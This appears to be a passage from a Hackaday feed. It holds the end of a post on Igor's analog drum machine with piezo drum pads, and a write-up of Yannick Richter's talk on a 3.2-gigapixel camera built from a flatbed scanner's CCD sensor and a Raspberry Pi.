This isn’t Igor’s first drum machine, either, although his previous build was a bit more limited. It had fewer steps in the sequence and didn’t quite have the range of his newer model. The upgraded version can play more steps but also includes force-sensitive drum pads based on piezo sensors and more voices (drums) as well. Each voice is built electronically using various op-amps and passive components, and [Igor] has the schematics for each of them, as well as every other part of the drum machine, for those looking to recreate any part of this on their own. There’s a lot going on in this lengthy video as well, so for the musically inclined, it’s worth taking a look in full.

Now that our horse is in the correct position in front of the cart, it’s worth going back and looking at the memory build if you missed it when it first ran. A small amount of memory makes the machine programmable rather than just playable, and truly expands the capabilities of a machine like this in the recording studio.

youtube.com/embed/0XeZAGgkflQ?…

hackaday.com/2026/07/20/a-feat…

There was once a race to put out cameras with ever higher numbers of megapixels to snare customers eager to take the highest quality digital photos. These days, we know that things like optics, processing, and finer qualities of an image sensor are all very important beyond pure resolution. But, for a time, companies behaved as if megapixels mattered over all else.

But what if you could go farther—shooting not millions, but billions of pixels in a single image? That’s precisely what [Yannick Richter] came to Hackaday Europe to talk about, covering his Project Gigapixel build.

youtube.com/embed/QCPPfCFzw-o?…

More Pixels

When it comes to building a consumer camera with higher resolution, manufacturers achieve this by creating an image sensor with a greater number of sensing elements. This, of course, can get expensive and difficult the farther you want to scale, particularly if you’re trying to fit more sensing elements into a given standard sensor size.
A scanner sensor has great linear resolution. Pan one behind a high-quality lens, and you can capture images in super high resolution… just hope that nothing moves while you’re capturing a shot!
However, there are other ways to capture images in greater resolution that don’t require a larger image sensor. Namely, you can actually use quite a simple image sensor of limited resolution, and simply move it to various positions, capturing light all the while. Then, all you need to do is stitch the output together and you have a remarkably high resolution image. It might sound complicated, but as [Yannick] explains, it’s a perfectly cromulent way to build a gigapixel image.

[Yannick’s] project began with an old Epson flatbed scanner. This made the perfect donor for such a project, as it came with a linear image sensor with quite good resolution for scanning photographs and documents. The only problem is that it needs to move in a straight path in order to capture a full image. The goal was to build it into a scanner-style camera that was truly portable, which required some reverse engineering and creative design to make it into a practical tool for real-world photography. [Yannick] didn’t want to just stuff the existing scanner in a bodged-together camera body, either. He wanted to interface the sensor directly and build a custom linear-scanning camera from the ground up, with the high-resolution linear sensor mounted behind a nice medium-format Pentax lens.

[Yannick] lashed up a Raspberry Pi to read from the sensor.The key was that the scanner in question—an Epson V370—used a Sony CCD scanning element, rather than a cheaper CIS element. A proper CCD sensor is more expensive, but produces better output, and is more suitable for the sort of imaging [Yannick] was trying to do with this build. Namely, by running the scanning element behind a medium format lens to capture incredibly high-resolution images at up to 40800 x 80000 pixels, or 3.2 gigapixels if you multiply it out.

The talk covers all the work that [Yannick] did to make this a fully functional camera. That included doing a deep dive into Epson documentation to figure out how to interface the sensor at all. Thankfully, service manuals provided enough detail on how the 12-line RGB sensor works to get the project over the line. Interfacing the sensor was achieved via reusing the ADC and timing generation hardware from the scanner itself, hooked up to a Raspberry Pi 5 and a RP2350.

Plenty of work was required to figure out how to properly offset all the R, G, and B pixels to line up properly into a coherent color image. [Yannick] also dives into the mechanical design, regarding how the sensor was assembled on a 100-millimeter linear drive to scan it behind the lens assembly to capture images. There were also issues generating a live preview that you’d get on any other digital camera, which is not exactly practical to generate from a scanning image sensor. Instead, a standard Raspberry Pi camera was included in the build for live preview to help with lining up a shot.
The camera is capable of taking incredibly high resolution images with rich detail. Of course, image sizes are hefty in turn.
Perhaps the best part of the talk is when [Yannick] shows off the final results. The simple fact is that 3.2 gigapixel images capture a ton of detail when they’re taken well and focused correctly. A simple shot of some benchtop instruments doesn’t look like anything special, until [Yannick] shows that cropping in will let you read the codes off a 0603 SMD resistor. Obviously, the camera is limited when it comes to speed and it can’t really capture moving objects well. However, when it comes to grabbing very high resolution shots of still scenes, it’s a great performer. If taking gorgeously detailed landscapes or stunning architectural shots is your thing, you might find such a build an appealing proposition for your own needs.

hackaday.com/2026/07/20/hackad…